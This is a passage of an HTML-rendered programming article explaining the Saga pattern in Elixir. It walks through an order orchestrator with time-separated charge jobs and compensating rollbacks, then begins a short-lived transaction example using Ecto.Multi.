&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Orders.OrderRepo&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Payments&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Reservations&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.UserNotifier&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;         &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_order_created&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_order_created&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Reservations&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;reserve_car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;         &lt;span style=&quot;color: #8b949e;&quot;&gt;# We enqueue a Background Job that charges the customer.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;         &lt;span style=&quot;color: #8b949e;&quot;&gt;# This is an example of a Saga that is time-separated&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;         &lt;span style=&quot;color: #8b949e;&quot;&gt;# in which we can&amp;#39;t execute all transactions at once&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;         &lt;span style=&quot;color: #8b949e;&quot;&gt;# and need to wait for some to finish before we proceed.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:charge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Payments&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;enqueue_charge_order_job&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# These error clauses are our &quot;compensations&quot; and&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;      &lt;span style=&quot;color: #8b949e;&quot;&gt;# they should roll back any previous state change.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;delete_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:charge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Reservations&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;cancel_car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;delete_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;error&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# This is the last transaction of the Saga which&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# is called by Payments when the &quot;Charge Customer&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Background Job succeeds. You see that a Saga might&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# need to start and stop between transactions.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_payment_succeeded&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;45&quot;&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;status: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:confirmed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;46&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;UserNotifier&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;send_order_confirmed_email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;47&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;48&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;49&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;50&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# This is the compensation for the &quot;Charge customer&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;51&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# transaction. It needs to roll back the previous transactions&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;52&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# and notify someone that the order failed.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;53&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_payment_failed&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;54&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;with&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;55&quot;&gt;         &lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Reservations&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;cancel_car&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;56&quot;&gt;         &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;&lt;-&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;OrderRepo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;delete_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;57&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;UserNotifier&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;send_order_failed_email&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;58&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;59&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;60&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our orchestrator consolidates all transactions and compensations for the Saga in a single place. It might not be a single function, but a few related functions which handle different steps of the Saga. In our example above, the Saga is time-separated because we schedule a background job for charging our customer instead of charging them right away. This shows us that even if a Saga relies on synchronous function calls, it might not be able to execute all functions at once but rather has to start and stop in between steps.&lt;/p&gt;
&lt;p&gt;One note of caution: Be extra careful when you design the compensations. Compensations must &quot;clean up&quot; your state, so they cannot fail. Otherwise, your system will remain in an inconsistent state. That&apos;s why you must make sure that your compensations will succeed - ideally - 100% of the time, all the time. This means they should have retry mechanisms and exhaustive error handling to ensure that they succeed eventually. And if they don&apos;t succeed, at least they should fail with a big bang that alerts you and your team and allows you to clean up the state manually.&lt;/p&gt;
&lt;p&gt;If our Saga can execute without having to wait too long, we could implement it as a short-lived transaction instead.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#short-lived-transactions&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;short-lived-transactions&quot;&gt;&lt;/a&gt;Short-lived Transactions&lt;/h2&gt;
&lt;p&gt;Although the Saga pattern is also called a &lt;code&gt;long-lived transaction&lt;/code&gt;, you can use it for &lt;code&gt;short-lived transactions&lt;/code&gt; as well. That is, even if your Saga fits into a single database transaction. As long as you use the transaction-compensation pairing with rollbacks in the event of failures, you have a Saga pattern. Here&apos;s an example of such a Saga:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Orders&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Reservations&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Payments&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_order&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Multi&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
